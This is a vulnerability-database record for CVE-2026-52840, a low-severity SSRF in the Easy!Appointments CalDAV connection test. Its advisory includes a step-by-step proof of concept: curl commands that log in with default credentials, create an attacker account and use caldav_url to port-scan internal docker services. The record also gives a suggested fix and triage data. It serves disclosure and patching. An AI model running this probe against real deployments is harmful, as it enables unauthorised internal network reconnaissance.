{"id":"CVE-2026-52840","kind":"vulnerability","aliases":["CVE-2026-52840","GHSA-pm5p-7w5h-jm5q"],"related":[],"title":"Easy!Appointments has server-side request forgery in CalDAV connection test that exposes the deployment's internal network","description":"### Summary\n\n`Caldav::connect_to_server` at `application/controllers/Caldav.php:60` hands the request's `caldav_url` to a Guzzle `REPORT` call without scheme or host validation. A logged-in backend user (admin, provider, or secretary) reaches loopback, RFC1918, and link-local hosts on the deployment's network. The Guzzle exception path returns the upstream status code plus ~120 bytes of response body in the JSON `message` field (`Caldav.php:74-78`), so the SSRF is semi-blind.\n\n### Preconditions\n\n- Backend login on the target instance. Non-admin attackers supply their own `provider_id` and pass the per-row check at `Caldav.php:52`; admins can target any row.\n- Default deployment per the project's own `docker-compose.yml`, which puts `mysql`, `mailpit`, `phpmyadmin`, `baikal`, `openldap`, `phpldapadmin`, and `swagger-ui` on the same docker network as `php-fpm`.\n\n### Details\n\n```php\n// application/controllers/Caldav.php:45-82\npublic function connect_to_server(): void\n{\n    try {\n        $provider_id = request('provider_id');\n        $user_id = session('user_id');\n\n        if (cannot('edit', PRIV_USERS) && (int) $user_id !== (int) $provider_id) {\n            throw new RuntimeException('You do not have the required permissions for this task.');\n        }\n\n        $caldav_url = request('caldav_url');                                  // (*) attacker-controlled\n        $caldav_username = request('caldav_username');\n        $caldav_password = request('caldav_password');\n\n        $this->caldav_sync->test_connection($caldav_url, $caldav_username, $caldav_password);  // (*) sink\n        ...\n    } catch (GuzzleException | InvalidArgumentException $e) {\n        json_response([\n            'success' => false,\n            'message' => $e->getMessage(),                                    // (*) upstream body reflected\n        ]);\n    }\n}\n```\n\nThe per-row check at line 52 only constrains *which provider record* the caller may write to; it does not constrain *where the outbound request lands*. `$caldav_url` flows unchanged into `Caldav_sync::test_connection` at `application/libraries/Caldav_sync.php:389`, which calls `get_http_client` to construct a Guzzle client whose `base_uri` is the attacker URL (`Caldav_sync.php:375-382`), then issues `REPORT` against it via `fetch_events` at `Caldav_sync.php:558`. The only input check in `get_http_client` is `filter_var($caldav_url, FILTER_VALIDATE_URL)` at line 363, which validates the URL grammar - not the host - so loopback, RFC1918, link-local, and arbitrary internal hostnames pass.\n\nWhen Guzzle raises `RequestException`, its `getMessage()` formats as ``Client error: `REPORT http://target/` resulted in a `405 Method Not Allowed` response: <body truncated to ~120 chars>``. `Caldav::connect_to_server` returns that string verbatim in `message`. For `ConnectException` (port closed, DNS failure, TLS handshake error) the message names the host, port, and underlying cURL error number - enough to port-scan the deployment's network.\n\n### Proof of concept\n\n**Setup**\n\n1. Clone the repository, pin to the audited release, copy the sample config, and bring up the bundled stack:\n\n   ```bash\n   git clone https://github.com/alextselegidis/easyappointments\n   cd easyappointments\n   git checkout 1.5.2\n   cp config-sample.php config.php\n   docker compose up -d\n   until curl -fsS http://localhost/ -o /dev/null; do sleep 2; done\n   ```\n\n2. Run the console installer. The seed sets administrator's password to the literal string `administrator` (`application/libraries/Instance.php:99`):\n\n   ```bash\n   docker compose exec -T php-fpm php index.php console install\n   ```\n\n3. Log in as `administrator` (the project's session cookie is `ea_session`) and create an attacker provider. The default `require_phone_number=1` setting makes `phone_number` mandatory:\n\n   ```bash\n   export ADMIN_JAR=/tmp/admin.cookies\n   curl -s -c $ADMIN_JAR http://localhost/index.php/login -o /dev/null\n   CSRF=$(awk '$6==\"csrf_cookie\"{print $7}' $ADMIN_JAR)\n   curl -s -b $ADMIN_JAR -c $ADMIN_JAR -X POST http://localhost/index.php/login/validate \\\n     --data-urlencode \"csrf_token=$CSRF\" \\\n     --data-urlencode \"username=administrator\" \\\n     --data-urlencode \"password=administrator\" > /dev/null\n\n   CSRF=$(awk '$6==\"csrf_cookie\"{print $7}' $ADMIN_JAR)\n   curl -s -b $ADMIN_JAR -X POST http://localhost/index.php/providers/store \\\n     --data-urlencode \"csrf_token=$CSRF\" \\\n     --data-urlencode 'provider[first_name]=Mal' \\\n     --data-urlencode 'provider[last_name]=Lory' \\\n     --data-urlencode 'provider[email]=mallory@x.test' \\\n     --data-urlencode 'provider[phone_number]=+10000000000' \\\n     --data-urlencode 'provider[timezone]=UTC' \\\n     --data-urlencode 'provider[language]=english' \\\n     --data-urlencode 'provider[settings][username]=mallory' \\\n     --data-urlencode 'provider[settings][password]=Attacker-pw-1' \\\n     --data-urlencode 'provider[settings][notifications]=0'\n   export ATTACKER_ID=$(docker compose exec -T mysql mysql -uuser -ppassword easyappointments -N -B \\\n     -e \"SELECT u.id FROM ea_users u JOIN ea_user_settings s ON s.id_users=u.id WHERE s.username='mallory'\")\n   ```\n\n4. Log in as the attacker into a dedicated cookie jar:\n\n   ```bash\n   export ATTACKER_JAR=/tmp/attacker.cookies\n   curl -s -c $ATTACKER_JAR http://localhost/index.php/login -o /dev/null\n   CSRF=$(awk '$6==\"csrf_cookie\"{print $7}' $ATTACKER_JAR)\n   curl -s -b $ATTACKER_JAR -c $ATTACKER_JAR -X POST http://localhost/index.php/login/validate \\\n     --data-urlencode \"csrf_token=$CSRF\" \\\n     --data-urlencode \"username=mallory\" \\\n     --data-urlencode \"password=Attacker-pw-1\" > /dev/null\n   ```\n\n**Exploit**\n\n1. The attacker probes the `nginx` container that fronts Easy!Appointments itself, hitting a 404 path. They pass their own `$ATTACKER_ID` so the row-ownership check at `Caldav.php:52` succeeds; the URL has nothing to do with the row:\n\n   ```bash\n   CSRF=$(awk '$6==\"csrf_cookie\"{print $7}' $ATTACKER_JAR)\n   curl -s -b $ATTACKER_JAR -X POST http://localhost/index.php/caldav/connect_to_server \\\n     --data-urlencode \"csrf_token=$CSRF\" \\\n     --data-urlencode \"provider_id=$ATTACKER_ID\" \\\n     --data-urlencode \"caldav_url=http://nginx/some/404/path\" \\\n     --data-urlencode \"caldav_username=x\" \\\n     --data-urlencode \"caldav_password=x\"\n   ```\n\n   Observed (verified on a fresh `docker compose up`): `{\"success\":false,\"message\":\"Client error: \\`REPORT http:\\/\\/nginx\\/some\\/404\\/path\\/\\` resulted in a \\`404 Not Found\\` response:\\n\\n<!doctype html>\\n<html lang=\\\"en\\\" style=\\\"\\n    height: 100%;\\n\\\">\\n<head>\\n    <meta charset=\\\"utf-8\\\">\\n    <meta http-equiv=\\\"X- (truncated...)\\n\"}` - the upstream HTTP status and the first chunk of the response body are reflected in the JSON.\n\n2. The attacker scans the docker network. Each target produces a distinct exception shape that fingerprints the service. The maintainer can paste the loop verbatim:\n\n   ```bash\n   for target in mysql:3306 swagger-ui:8080 mailpit:8025 phpmyadmin nonexistent.invalid; do\n     CSRF=$(awk '$6==\"csrf_cookie\"{print $7}' $ATTACKER_JAR)\n     printf '\\n=== %s ===\\n' \"$target\"\n     curl -s -b $ATTACKER_JAR -X POST http://localhost/index.php/caldav/connect_to_server \\\n       --data-urlencode \"csrf_token=$CSRF\" \\\n       --data-urlencode \"provider_id=$ATTACKER_ID\" \\\n       --data-urlencode \"caldav_url=http://$target/\" \\\n       --data-urlencode \"caldav_username=x\" \\\n       --data-urlencode \"caldav_password=x\"\n   done\n   ```\n\n   Observed: `mysql:3306` returns `cURL error 1: Received HTTP/0.9 when not allowed` - port open, not HTTP. `swagger-ui:8080` returns `Client error: \\`REPORT http://swagger-ui:8080/\\` resulted in a \\`405 Not Allowed\\` response: <html>\\r\\n<head><title>405 Not Allowed</title>...` - port open, HTTP, nginx fronts it. `mailpit:8025` and `phpmyadmin` (port 80) return `{\"success\":true}` - port open, HTTP, the CalDAV `REPORT` was accepted without a 4xx. `nonexistent.invalid` returns `cURL error 6: Could not resolve host`. Each shape lets the attacker enumerate which internal services exist.\n\n### Impact\n\n- **Confidentiality:** Reaches arbitrary HTTP and HTTPS hosts reachable from the `php-fpm` container, including loopback, the docker network's `mysql`, `mailpit`, `phpmyadmin`, `baikal`, `openldap` services, and any RFC1918 / link-local IP on the host network.\n- **Confidentiality:** Reads up to ~120 bytes of each upstream HTTP response and the exact connection-failure reason via the JSON `message` field, enough to fingerprint internal services and read short error pages, banners, or status documents.\n\n### Suggestions to fix\n\n> _This has not been tested - it is illustrative only._\n\nReject non-`http`/`https` schemes and resolved private addresses before constructing the Guzzle client.\n\n```diff\n         $caldav_url = request('caldav_url');\n+\n+        $scheme = parse_url($caldav_url, PHP_URL_SCHEME);\n+        $host   = parse_url($caldav_url, PHP_URL_HOST) ?: '';\n+        $ip     = filter_var($host, FILTER_VALIDATE_IP) ?: gethostbyname($host);\n+\n+        if (!in_array($scheme, ['http', 'https'], true) || $ip === '' || $ip === $host\n+            || !filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {\n+            throw new InvalidArgumentException('CalDAV URL is not allowed.');\n+        }\n+\n         $caldav_username = request('caldav_username');\n         $caldav_password = request('caldav_password');\n\n         $this->caldav_sync->test_connection($caldav_url, $caldav_username, $caldav_password);\n```\n\n### Credit\n\nDredsen, 2026.","summary":"Easy!Appointments passes the caldav_url a logged-in backend user supplies straight to an outbound HTTP request without checking the host. An attacker with a backend login can probe internal network services and read a short part of their responses through the error message.","severity":"low","cvss":2.7,"epss":0.00233,"exploited":false,"exploited_at":null,"products":[{"name":"alextselegidis/easyappointments","fixed":["1.6.1"],"affected":"<= 1.5.2","ecosystem":"composer"}],"ecosystems":["composer"],"tags":["cwe-918","docker","easyappointments","package","php","self-hosted"],"not_affected_if":["auth-required","caldav-unused","version-1.6.1-or-later"],"how_to_check":"- Check the installed version of `alextselegidis/easyappointments` in `composer.lock`; versions `<= 1.5.2` are affected.\n- Look for the CalDAV connection test endpoint `caldav/connect_to_server` in `application/controllers/Caldav.php` and confirm it does not restrict the target host.","fix":"- `alextselegidis/easyappointments` upgrade to `1.6.1`","status":"open","published_at":"2026-07-14T16:17:00+00:00","first_seen_at":"2026-11-10T19:29:50+00:00","triaged_at":"2026-11-10T20:05:06+00:00","updated_at":"2026-11-10T20:15:32+00:00","category":"package","confidence":0.8,"triage":{"at":"2026-11-10T20:05:06Z","model":"claude-haiku-5-5","output":{"fix":"- `alextselegidis/easyappointments` upgrade to `1.6.1`","reach":"network","title":"Easy!Appointments: CalDAV connection test lets logged-in users reach internal hosts","impact":"low","summary":"Easy!Appointments passes the caldav_url a logged-in backend user supplies straight to an outbound HTTP request without checking the host. An attacker with a backend login can probe internal network services and read a short part of their responses through the error message.","audience":"businesses","category":"package","nicknames":[],"who_cares":["easyappointments","php","self-hosted","docker"],"confidence":0.8,"fix_status":"available","needs_auth":"yes","worst_case":"Attacker maps internal services and reads short internal HTTP responses","analyst_note":"","how_to_check":"- Check the installed version of `alextselegidis/easyappointments` in `composer.lock`; versions `<= 1.5.2` are affected.\n- Look for the CalDAV connection test endpoint `caldav/connect_to_server` in `application/controllers/Caldav.php` and confirm it does not restrict the target host.","plain_action":"","product_name":"","needs_analyst":false,"not_affected_if":["version-1.6.1-or-later","caldav-unused","auth-required"],"who_is_affected":"Only deployments that have CalDAV sync enabled and let backend users (admins, providers, secretaries) log in are exposed, because the flawed request is made through the logged-in backend. The exposure is greatest when the app shares a Docker or internal network with databases or admin tools, as in the project's default compose stack. Instances with no CalDAV use, or with only trusted users, carry low risk.","user_interaction":"no","product_ecosystem":"","needs_special_setup":"yes","severity_if_unknown":"low"},"cost_usd":0.001179,"input_tokens":8681,"output_tokens":621,"severity_before":"low"},"analyst_status":null,"analyst_note":null,"search":"'-2026':21A,29A '-382':369C '-52840':22A,30A '-78':155C '-82':226C '-918':33B '/alextselegidis/easyappointments':505C '/dev/null':523C,599C '/tmp/admin.cookies':591C '1':481C,581C '1.5.2':510C '120':144C '2':526C,528C '3':558C '363':398C '389':350C '405':433C '45':225C '52':319C '6':602C '60':94C '7':606C '7w5h':26A '99':545C 'admin':117C,172C,188C,589C,595C,607C 'administr':536C,543C,562C 'alextselegidis/easyappointments':31A 'allow':436C 'application/controllers/caldav.php':93C,224C 'application/libraries/caldav_sync.php':349C 'application/libraries/instance.php':544C 'appoint':2A,42B 'arbitrari':414C 'attack':65B,173C,274C,366C,574C 'attacker-control':273C 'audit':488C 'awk':601C 'backend':51B,68B,115C,164C 'baikal':206C 'base':362C 'bash':500C,546C,587C 'blind':162C 'bodi':148C,310C 'bring':495C 'bundl':498C 'byte':145C 'c':594C 'caldav':10A,45B,88C,99C,268C,271C,276C,279C,281C,284C,287C,291C,293C,295C,339C,344C,391C,438C 'caldav.php:52':187C 'caldav.php:74':154C 'caldav_sync.php:375':368C 'caldav_sync.php:558':379C 'call':105C,352C 'caller':326C 'cannot':245C 'catch':298C 'cd':506C 'check':61B,185C,316C,383C 'checkout':509C 'client':355C,360C,387C,426C 'clone':482C,502C 'close':451C 'code':142C 'compos':515C,548C 'concept':479C 'config':493C 'config-sample.php':512C 'config.php':513C 'connect':11A,89C,229C,290C,347C,439C 'connectexcept':449C 'consol':531C,556C 'constrain':321C,333C 'construct':357C 'control':275C 'cooki':567C,604C 'copi':490C 'cp':511C 'creat':572C 'csrf':600C,603C 'curl':465C,519C,592C 'cve':20A,28A 'cwe':32B 'd':517C 'default':193C,577C 'deploy':16A,131C,194C,474C 'detail':222C 'dns':452C 'docker':34B,216C,514C,547C 'docker-compose.yml':200C 'done':527C 'e':301C,307C 'ea':569C 'easi':1A,41B 'easyappoint':35B,507C 'edit':246C 'enough':468C 'error':85B,427C,456C,466C 'event':377C 'except':136C 'exec':549C 'export':588C 'expos':14A 'failur':453C 'fals':305C 'fetch':376C 'field':153C 'filter':389C,393C 'flow':341C 'forgeri':8A 'format':424C 'fpm':221C,553C 'fss':520C 'function':228C 'get':353C,385C 'getmessag':308C,423C 'ghsa':24A 'ghsa-pm5p-7w5h-jm5q':23A 'git':501C,508C 'github.com':504C 'github.com/alextselegidis/easyappointments':503C 'grammar':403C 'guzzl':103C,135C,359C,419C 'guzzleexcept':299C 'hand':95C 'handshak':455C 'host':40B,63B,109C,128C,406C,461C 'hostnam':416C 'http':58B,354C,386C 'id':178C,235C,238C,240C,243C,251C,254C 'index.php':555C 'input':382C 'instal':532C,557C 'instanc':169C 'int':249C,252C 'intern':18A,72B,415C 'invalidargumentexcept':300C 'issu':371C 'jar':590C,596C,608C 'jm5q':27A 'json':151C,302C 'land':338C 'line':318C,397C 'link':126C,411C 'link-loc':125C,410C 'liter':541C 'local':127C,412C 'localhost':521C 'localhost/index.php/login':597C 'log':49B,113C,559C 'logged-in':48B,112C 'login':69B,165C 'loopback':122C,408C 'mailpit':204C 'make':583C 'mandatori':586C 'may':327C 'messag':86B,152C,306C,447C,458C 'method':434C 'mysql':203C 'name':459C 'network':19A,73B,133C,217C,476C 'new':256C 'non':171C 'non-admin':170C 'number':467C,580C,585C 'o':522C,598C 'openldap':207C 'outbound':57B,336C 'packag':36B 'part':79B 'pass':43B,180C,417C 'password':282C,285C,296C,538C 'path':137C 'per':183C,195C,314C 'per-row':182C,313C 'permiss':264C 'phone':579C,584C 'php':37B,220C,223C,552C,554C 'php-fpm':219C,551C 'phpldapadmin':208C 'phpmyadmin':205C 'pin':485C 'plus':143C 'pm5p':25A 'port':450C,462C,471C 'port-scan':470C 'precondit':163C 'print':605C 'priv':247C 'probe':71B 'project':197C,564C 'proof':477C 'provid':118C,177C,234C,237C,253C,323C,575C 'public':227C 'put':202C 'rais':420C 'reach':121C 'read':76B 'record':324C 'reflect':311C 'releas':489C 'report':104C,372C,428C 'repositori':484C 'request':7A,59B,97C,236C,270C,278C,283C,337C 'requestexcept':421C 'requir':263C,578C 'respons':82B,147C,303C,437C 'result':430C 'return':138C,442C 'rfc1918':123C,409C 'row':184C,192C,315C 'run':529C 'runtimeexcept':257C 'sampl':492C 'scan':472C 'scheme':107C 'secretari':120C 'seed':534C 'self':39B 'self-host':38B 'semi':161C 'semi-blind':160C 'server':5A,91C,231C,441C 'server-sid':4A 'servic':74B 'session':241C,566C,570C 'set':535C,582C 'setup':480C 'short':78B 'side':6A 'sink':297C 'sleep':525C 'ssrf':158C 'stack':499C 'status':141C 'straight':54B 'string':444C,542C 'success':304C 'summari':87C 'suppli':53B,174C 'swagger':211C 'swagger-ui':210C 'sync':288C,345C 'target':168C,190C,429C 'task':267C 'test':12A,289C,346C 'throw':255C 'tls':454C 'tri':233C 'ui':212C 'unchang':342C 'under':464C 'upstream':140C,309C 'uri':363C 'url':46B,100C,269C,272C,292C,340C,367C,392C,395C,402C 'user':52B,116C,239C,242C,248C,250C 'usernam':277C,280C,294C 'valid':110C,394C,400C 'var':390C 'verbatim':445C 'via':375C 'void':232C 'whose':361C 'without':60B,106C 'write':328C","nicknames":[],"mitigations":[],"who_affected":"Only deployments that have CalDAV sync enabled and let backend users (admins, providers, secretaries) log in are exposed, because the flawed request is made through the logged-in backend. The exposure is greatest when the app shares a Docker or internal network with databases or admin tools, as in the project's default compose stack. Instances with no CalDAV use, or with only trusted users, carry low risk.","tier":"C","verified":{},"analyst_revisit_at":null,"fix_status":"available","audience":"businesses","plain_action":null,"pkeys":["alextselegidiseasyappointments"],"ptokens":["alextselegidis","easyappointments"],"labels":["composer","cwe918","docker","easyappointments","low","package","php","selfhosted"],"campaign_type":null,"search_a":"'-2026':21A,29A '-52840':22A,30A '7w5h':26A 'alextselegidis/easyappointments':31A 'appoint':2A 'caldav':10A 'connect':11A 'cve':20A,28A 'deploy':16A 'easi':1A 'expos':14A 'forgeri':8A 'ghsa':24A 'ghsa-pm5p-7w5h-jm5q':23A 'intern':18A 'jm5q':27A 'network':19A 'pm5p':25A 'request':7A 'server':5A 'server-sid':4A 'side':6A 'test':12A","search_b":"'-918':33B 'appoint':42B 'attack':65B 'backend':51B,68B 'caldav':45B 'check':61B 'cwe':32B 'docker':34B 'easi':41B 'easyappoint':35B 'error':85B 'host':40B,63B 'http':58B 'intern':72B 'log':49B 'logged-in':48B 'login':69B 'messag':86B 'network':73B 'outbound':57B 'packag':36B 'part':79B 'pass':43B 'php':37B 'probe':71B 'read':76B 'request':59B 'respons':82B 'self':39B 'self-host':38B 'servic':74B 'short':78B 'straight':54B 'suppli':53B 'url':46B 'user':52B 'without':60B","search_c":"'-382':369C '-78':155C '-82':226C '/alextselegidis/easyappointments':505C '/dev/null':523C,599C '/tmp/admin.cookies':591C '1':481C,581C '1.5.2':510C '120':144C '2':526C,528C '3':558C '363':398C '389':350C '405':433C '45':225C '52':319C '6':602C '60':94C '7':606C '99':545C 'admin':117C,172C,188C,589C,595C,607C 'administr':536C,543C,562C 'allow':436C 'application/controllers/caldav.php':93C,224C 'application/libraries/caldav_sync.php':349C 'application/libraries/instance.php':544C 'arbitrari':414C 'attack':173C,274C,366C,574C 'attacker-control':273C 'audit':488C 'awk':601C 'backend':115C,164C 'baikal':206C 'base':362C 'bash':500C,546C,587C 'blind':162C 'bodi':148C,310C 'bring':495C 'bundl':498C 'byte':145C 'c':594C 'caldav':88C,99C,268C,271C,276C,279C,281C,284C,287C,291C,293C,295C,339C,344C,391C,438C 'caldav.php:52':187C 'caldav.php:74':154C 'caldav_sync.php:375':368C 'caldav_sync.php:558':379C 'call':105C,352C 'caller':326C 'cannot':245C 'catch':298C 'cd':506C 'check':185C,316C,383C 'checkout':509C 'client':355C,360C,387C,426C 'clone':482C,502C 'close':451C 'code':142C 'compos':515C,548C 'concept':479C 'config':493C 'config-sample.php':512C 'config.php':513C 'connect':89C,229C,290C,347C,439C 'connectexcept':449C 'consol':531C,556C 'constrain':321C,333C 'construct':357C 'control':275C 'cooki':567C,604C 'copi':490C 'cp':511C 'creat':572C 'csrf':600C,603C 'curl':465C,519C,592C 'd':517C 'default':193C,577C 'deploy':131C,194C,474C 'detail':222C 'dns':452C 'docker':216C,514C,547C 'docker-compose.yml':200C 'done':527C 'e':301C,307C 'ea':569C 'easyappoint':507C 'edit':246C 'enough':468C 'error':427C,456C,466C 'event':377C 'except':136C 'exec':549C 'export':588C 'failur':453C 'fals':305C 'fetch':376C 'field':153C 'filter':389C,393C 'flow':341C 'format':424C 'fpm':221C,553C 'fss':520C 'function':228C 'get':353C,385C 'getmessag':308C,423C 'git':501C,508C 'github.com':504C 'github.com/alextselegidis/easyappointments':503C 'grammar':403C 'guzzl':103C,135C,359C,419C 'guzzleexcept':299C 'hand':95C 'handshak':455C 'host':109C,128C,406C,461C 'hostnam':416C 'http':354C,386C 'id':178C,235C,238C,240C,243C,251C,254C 'index.php':555C 'input':382C 'instal':532C,557C 'instanc':169C 'int':249C,252C 'intern':415C 'invalidargumentexcept':300C 'issu':371C 'jar':590C,596C,608C 'json':151C,302C 'land':338C 'line':318C,397C 'link':126C,411C 'link-loc':125C,410C 'liter':541C 'local':127C,412C 'localhost':521C 'localhost/index.php/login':597C 'log':113C,559C 'logged-in':112C 'login':165C 'loopback':122C,408C 'mailpit':204C 'make':583C 'mandatori':586C 'may':327C 'messag':152C,306C,447C,458C 'method':434C 'mysql':203C 'name':459C 'network':133C,217C,476C 'new':256C 'non':171C 'non-admin':170C 'number':467C,580C,585C 'o':522C,598C 'openldap':207C 'outbound':336C 'pass':180C,417C 'password':282C,285C,296C,538C 'path':137C 'per':183C,195C,314C 'per-row':182C,313C 'permiss':264C 'phone':579C,584C 'php':220C,223C,552C,554C 'php-fpm':219C,551C 'phpldapadmin':208C 'phpmyadmin':205C 'pin':485C 'plus':143C 'port':450C,462C,471C 'port-scan':470C 'precondit':163C 'print':605C 'priv':247C 'project':197C,564C 'proof':477C 'provid':118C,177C,234C,237C,253C,323C,575C 'public':227C 'put':202C 'rais':420C 'reach':121C 'record':324C 'reflect':311C 'releas':489C 'report':104C,372C,428C 'repositori':484C 'request':97C,236C,270C,278C,283C,337C 'requestexcept':421C 'requir':263C,578C 'respons':147C,303C,437C 'result':430C 'return':138C,442C 'rfc1918':123C,409C 'row':184C,192C,315C 'run':529C 'runtimeexcept':257C 'sampl':492C 'scan':472C 'scheme':107C 'secretari':120C 'seed':534C 'semi':161C 'semi-blind':160C 'server':91C,231C,441C 'session':241C,566C,570C 'set':535C,582C 'setup':480C 'sink':297C 'sleep':525C 'ssrf':158C 'stack':499C 'status':141C 'string':444C,542C 'success':304C 'summari':87C 'suppli':174C 'swagger':211C 'swagger-ui':210C 'sync':288C,345C 'target':168C,190C,429C 'task':267C 'test':289C,346C 'throw':255C 'tls':454C 'tri':233C 'ui':212C 'unchang':342C 'under':464C 'upstream':140C,309C 'uri':363C 'url':100C,269C,272C,292C,340C,367C,392C,395C,402C 'user':116C,239C,242C,248C,250C 'usernam':277C,280C,294C 'valid':110C,394C,400C 'var':390C 'verbatim':445C 'via':375C 'void':232C 'whose':361C 'without':106C 'write':328C","cause_entry":null,"cause_path":null,"disclosures_checked_at":null,"first_public_at":"2026-06-15T11:12:11+00:00","kev":null,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:N/A:N","cvss_by":"GitHub","poc_count":0,"sources":[{"source":"ghsa","external_id":"GHSA-pm5p-7w5h-jm5q","url":"https://github.com/advisories/GHSA-pm5p-7w5h-jm5q","severity":"low","published_at":"2026-07-29T16:24:27+00:00","modified_at":"2026-11-10T19:27:30+00:00","first_seen_at":"2026-11-10T19:29:50+00:00","fetched_at":"2026-11-10T19:29:50+00:00","note":null},{"source":"nvd","external_id":"CVE-2026-52840","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-52840","severity":null,"published_at":"2026-07-14T16:17:00+00:00","modified_at":"2026-10-24T21:10:00+00:00","first_seen_at":"2026-11-10T20:15:32+00:00","fetched_at":"2026-11-10T20:15:32+00:00","note":null}],"documents":[{"id":117539,"url":"https://api.github.com/repos/alextselegidis/easyappointments/security-advisories/GHSA-pm5p-7w5h-jm5q","title":"Maintainer's advisory: api.github.com","kind":"vendor","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"advisory","confidence":null,"note":"Maintainer's advisory: api.github.com"},{"id":117540,"url":"https://github.com/alextselegidis/easyappointments/security/advisories/GHSA-pm5p-7w5h-jm5q","title":"Maintainer's advisory: github.com","kind":"vendor","source":"ghsa","publisher":"vendor","text":null,"published_at":"2026-06-15T11:12:11+00:00","relation":"advisory","confidence":null,"note":"Maintainer's advisory: github.com"},{"id":117541,"url":"https://github.com/alextselegidis/easyappointments/commit/2da2baed18ec32ad7916e507815709c8f010d510","title":"Patch: github.com","kind":"other","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"fix","confidence":null,"note":"Patch: github.com"},{"id":117542,"url":"https://github.com/alextselegidis/easyappointments/commit/4abb10545d83ac1a57d03f6502376ee67696ea7c","title":"Patch: github.com","kind":"other","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"fix","confidence":null,"note":"Patch: github.com"},{"id":117543,"url":"https://github.com/alextselegidis/easyappointments/commit/6b34b78c47790dfd1dec27cf62926db51be276e9","title":"Patch: github.com","kind":"other","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"fix","confidence":null,"note":"Patch: github.com"},{"id":117544,"url":"https://github.com/alextselegidis/easyappointments/commit/6eb9336a91cfb276379506625e81f5bd9ed3a536","title":"Patch: github.com","kind":"other","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"fix","confidence":null,"note":"Patch: github.com"},{"id":117545,"url":"https://github.com/alextselegidis/easyappointments/releases/tag/1.6.0","title":"Release: github.com","kind":"release","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"fix","confidence":null,"note":"Release: github.com"}],"disclosures":[],"exploit_sources":[{"type":"epss","score":0.00233,"url":"https://api.first.org/data/v1/epss?cve=CVE-2026-52840"}],"notice":"Free to read, with fair use of about 60 pages a minute. For higher limits or API access: sales@infrastack.ai"}